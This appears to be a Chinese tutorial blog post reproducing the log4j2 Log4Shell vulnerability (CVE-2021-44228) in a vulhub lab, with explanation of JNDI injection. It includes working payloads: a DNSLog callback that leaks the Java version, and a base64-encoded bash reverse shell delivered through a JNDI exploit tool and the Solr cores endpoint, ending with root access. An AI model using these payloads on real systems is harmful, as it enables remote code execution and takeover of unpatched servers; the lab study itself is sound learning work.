[CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。

影响版本:log4j 2.x <= 2.14.1

一、log4j2漏洞相关知识介绍

漏洞简介

首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的一个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。

至于漏洞原理,简单说就是当你使用log4j2中提供的方法去输出日志信息时,比如说最常见的:

String a = "变量输入" 
LOGGER.info("日志信息:{}",a);

我们通过这样的语句输出了一句日志信息,其中{}的部分由我们传进去的变量决定,当然一般我们传进去的都是一些很普通的语句,所以不会出什么问题。但如果我们往里面传一些别的代码呢,比如传一个${java.os}这样的语句,执行后可以看到:

可以看到它执行了java.os的内容把我们操作系统的信息显示出来了,看到这里很多人立马想到:这里可能会存在注入攻击,类似我们熟悉的XSS注入、SQL注入等等。当然这里输入的信息因为是日志的信息,用户是看不到的,所以显示了也没啥影响,但是实际上这里是存在着JNID注入的。

JNDI注入简单介绍

JNDI,中文名叫java命名和目录接口,它为我们提供了命名和目录服务,具体就不多讲了。主要是JNDI其中有一个lookup()方法,这是一个查找方法,上面代码执行结果也正是因为log4j2在获取到${}这样的格式的时候会自动的去调用lookup()方法。而这个方法的可怕之处就在于,它可以远程加载对象,比如我们传一个像:

lookup("rmi://127.0.0.1/test")
lookup("ldap://127.0.0.1/test")

这样的参数进去,它就可以远程访问到我们(黑客)本地的类,那如果这些类里面有恶意代码的话造成的危害显然是非常严重的。

二、在vulhub进行漏洞复现流程详解

首先启动docker,然后进入漏洞环境目录:

启动容器,查看端口并从浏览器进入: 

 docker-compose up -d

 环境网站就是这个样子:

下面正式开始漏洞的复现!我们先在dnslog.cn获取一个域名来监控我们注入的效果。 

 首先肯定要有一个注入点,我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.wixour.dnslog.cn}

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在dnslog.cn那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号:

 当然我们肯定不会只用这个漏洞来读java版本号,接下来我们尝试利用漏洞进行命令执行。

反弹shell漏洞利用:

用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:

sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下下来之后把它打包成jar包,这里我是直接网上找了一个现成的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,找起来应该也很方便。

开始漏洞利用,首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

这里我直接用的当前虚拟机的ip,端口号随便输一个,反弹shell需要经过编码,所以我们对上面那段命令base64加密。

 加密完毕后把结果复制下来,构造payload,输入如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "10.0.2.15" 

-C后面的参数是要执行的命令以及编码方式,-A后面就是对应ip地址。

 

可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入:

在注入之前另起一个终端,监控刚刚的那个端口,这里是6666:

nc -lvvp 端口号

然后就回到刚才的页面,构造url:

/solr/admin/cores?action=${jndi:ldap://10.0.2.15:1389/zjla02}

直接访问 :

我们可以看到网页被重定向到了我们的恶意类地址:

 

去另外一个监控终端看看shell有没有弹回来:

 

弹回来了,用whoami命令查看权限,发现已经成功获取到root权限了。大功告成。 

以上就是在vulhub环境下复现log4j4漏洞的全过程,也算是边学边做,通过这次复现熟悉了JNDI注入的原理利用,其实原理并不难,但在如今还会爆出如此严重的漏洞,只能说网络安全还是仍重而道远。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值